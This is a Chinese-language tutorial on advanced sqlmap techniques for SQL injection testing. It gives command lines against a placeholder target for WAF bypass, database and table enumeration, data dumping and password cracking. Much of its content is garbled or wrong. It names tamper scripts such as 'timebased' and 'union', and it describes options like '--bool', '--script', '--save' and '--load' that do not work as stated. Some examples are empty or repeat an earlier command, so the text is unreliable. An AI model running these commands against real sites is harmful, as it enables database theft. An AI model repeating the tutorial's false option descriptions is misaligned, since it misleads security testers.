SQLmap 是一个非常强大的工具,用于自动化检测和利用 SQL 注入漏洞。除了基本的使用方法外,还有一些高级应用技巧可以让测试更加高效和准确。下面是一些高级技巧和应用场景:
1. 多种数据库的支持
SQLmap 支持多种数据库管理系统 (DBMS),包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite 等。在使用时可以通过 --dbms
参数指定数据库类型,以便 SQLmap 使用正确的语法进行测试。
2. 绕过 WAF 和 IDS
-
使用
--tamper
参数:例如:
sqlmap -u "http://target.com/vuln.php?id=1" --tamper=space2comment
-
space2comment
: 将空格替换为注释符。 -
randomcase
: 随机更改大小写。 -
timebased
: 使用基于时间的盲注技术。 -
union
: 使用 UNION 语句进行盲注。
3. 利用盲注
-
布尔盲注:
-
当无法直接从响应中看到 SQL 注入的结果时,可以使用布尔盲注来确定是否存在 SQL 注入漏洞。
-
使用
--bool
参数来指定条件判断。基于时间的盲注:
-
sqlmap -u "http://target.com/vuln.php?id=1" --tamper=space2comment
-
使用
--time-sec
参数来延迟响应时间,从而判断 SQL 注入的存在。 -
例如:
4. 枚举更多细节
-
枚举所有数据库:
sqlmap -u "http://target.com/vuln.php?id=1" --dbs
-
枚举特定数据库的表
sqlmap -u "http://target.com/vuln.php?id=1" --tables --db=dbname
-
枚举表中的列:
sqlmap -u "http://target.com/vuln.php?id=1" --columns --table=tablename
-
提取数据:
sqlmap -u "http://target.com/vuln.php?id=1" --dump --table=tablename
5. 暴力破解密码
-
使用
--passwords
参数:
sqlmap -u "http://target.com/vuln.php?id=1" --passwords=/path/to/wordlist.txt
6. 使用代理服务器
通过代理服务器发送请求:
sqlmap -u "http://target.com/vuln.php?id=1" --proxy=http://127.0.0.1:8080
7. 多线程测试
-
使用
--threads
参数:
sqlmap -u "http://target.com/vuln.php?id=1" --threads=10
8. 自定义 HTTP 请求头
-
使用
--headers
参数:
sqlmap -u "http://target.com/vuln.php?id=1" --headers="Referer: http://google.com"
9. 脚本扩展
-
使用
--script
参数:
sqlmap -u "http://target.com/vuln.php?id=1" --script=my_custom_script.py
10. 调试模式
-
使用
--debug
参数:
sqlmap -u "http://target.com/vuln.php?id=1" --debug
11. 批量模式
-
使用
--batch
参数:
sqlmap -u "http://target.com/vuln.php?id=1" --batch
12. 保存和恢复会话
-
使用
--save
参数:
sqlmap -u "http://target.com/vuln.php?id=1" --save=test.sqlmap
-
保存当前会话状态。
-
例如:
-
使用
--load
参数:sqlmap --load=test.sqlmap
-
从已保存的会话继续测试。
-
例如:
-
这些技巧可以帮助你在渗透测试过程中更有效地使用 SQLmap。